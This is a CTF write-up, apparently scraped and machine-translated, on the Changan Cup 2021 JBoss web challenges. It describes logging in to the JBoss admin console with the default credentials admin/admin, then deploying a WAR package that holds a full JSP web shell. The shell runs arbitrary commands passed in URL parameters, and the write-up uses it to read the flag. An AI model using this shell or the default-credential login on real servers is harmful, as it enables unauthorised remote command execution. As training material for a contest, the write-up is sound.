当前位置:网站首页>CTF_ Web: Changan cup-2021 old but a little new & asuka
CTF_ Web: Changan cup-2021 old but a little new & asuka
2022-06-25 04:38:00 【AFCC_】
0x00 Old But A Little New
Two JBoss The topic is almost the same , The solution is the same , There is only one content in the test , Namely Jboss Upload in the background war package getshell.
The first is a jboss page .
hinder wiki And so on jboss Its official website , It has nothing to do with this question .
0x01 Weak password login

First path admin-console, The administrator console can be used directly admin、admin Weak password login , Find the deployment in the background war Where packages are uploaded .( there shell.war It has been uploaded )
0x02 Upload war package getshell
What is used here is TsengYUen Master's echo jsp In a word , Then use the command to package .
jar cvf shell.war 1.jsp
The content of one sentence is :
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
After successful deployment, view your own war package :
Path is /shell/1.asp
Page link column Directory
http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=ls
direct cat flag that will do .
http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=cat%20flag

0x03 asuka
JBoss Series title , With last one JBoss The same solution , Use the same war Bag can . Command execution to get flag
边栏推荐
- 彻底理解数据库事务
- 简单的恶意样本行文分析-入门篇
- Can Navicat directly operate the Android database SQLite
- php开发支付宝支付功能之扫码支付流程图
- [untitled]
- Codeforces Round #802 (Div. 2) C D
- A detailed summary of TCP connection triple handshake
- Classification of gbase 8s locks
- Value transfer between parent and child components of wechat applet
- js的arguments
猜你喜欢

为什么TCP握手刚刚好是3次呢?

【esp32学习之路6——flash加密】

Musk released humanoid robot. Why is AI significant to musk?

CTF_ Web:php weak type bypass and MD5 collision

CTF_ Web:8-bit controllable character getshell

js中的concat()

2.0SpingMVC使用RESTful

【无标题】

UCLA | generative pre training for black box optimization

English Grammar - pronunciation rules
随机推荐
「 每日一练,快乐水题 」1108. IP 地址无效化
Introduction to the isolation level of gbase 8s
Communication problems in parent and child components of uniapp
Trigger for gbase 8s
为什么TCP握手刚刚好是3次呢?
English Grammar - pronunciation rules
Laravel document sorting 11. System architecture
STM32的DMA双缓冲模式详解
CTF_ Web: advanced problem WP (5-8) of attack and defense world expert zone
机器学习深度学习——向量化
ThinkPHP is integrated with esaywechat. What's wrong with wechat payment callback without callback?
How to screen out words related to products and eliminate invalid words accurately
OOP 向量加减(友元+拷贝构造)
sql_ mode=only_ full_ group_ By's pit
A detailed summary of four handshakes (or four waves) over TCP connections
EasyRecovery15非常好用的电脑数据恢复软件
515. 在每个树行中找最大值 / 剑指 Offer II 095. 最长公共子序列
php开发支付宝支付功能之扫码支付流程图
GBASE 8s的包
微信小程序父子组件之间传值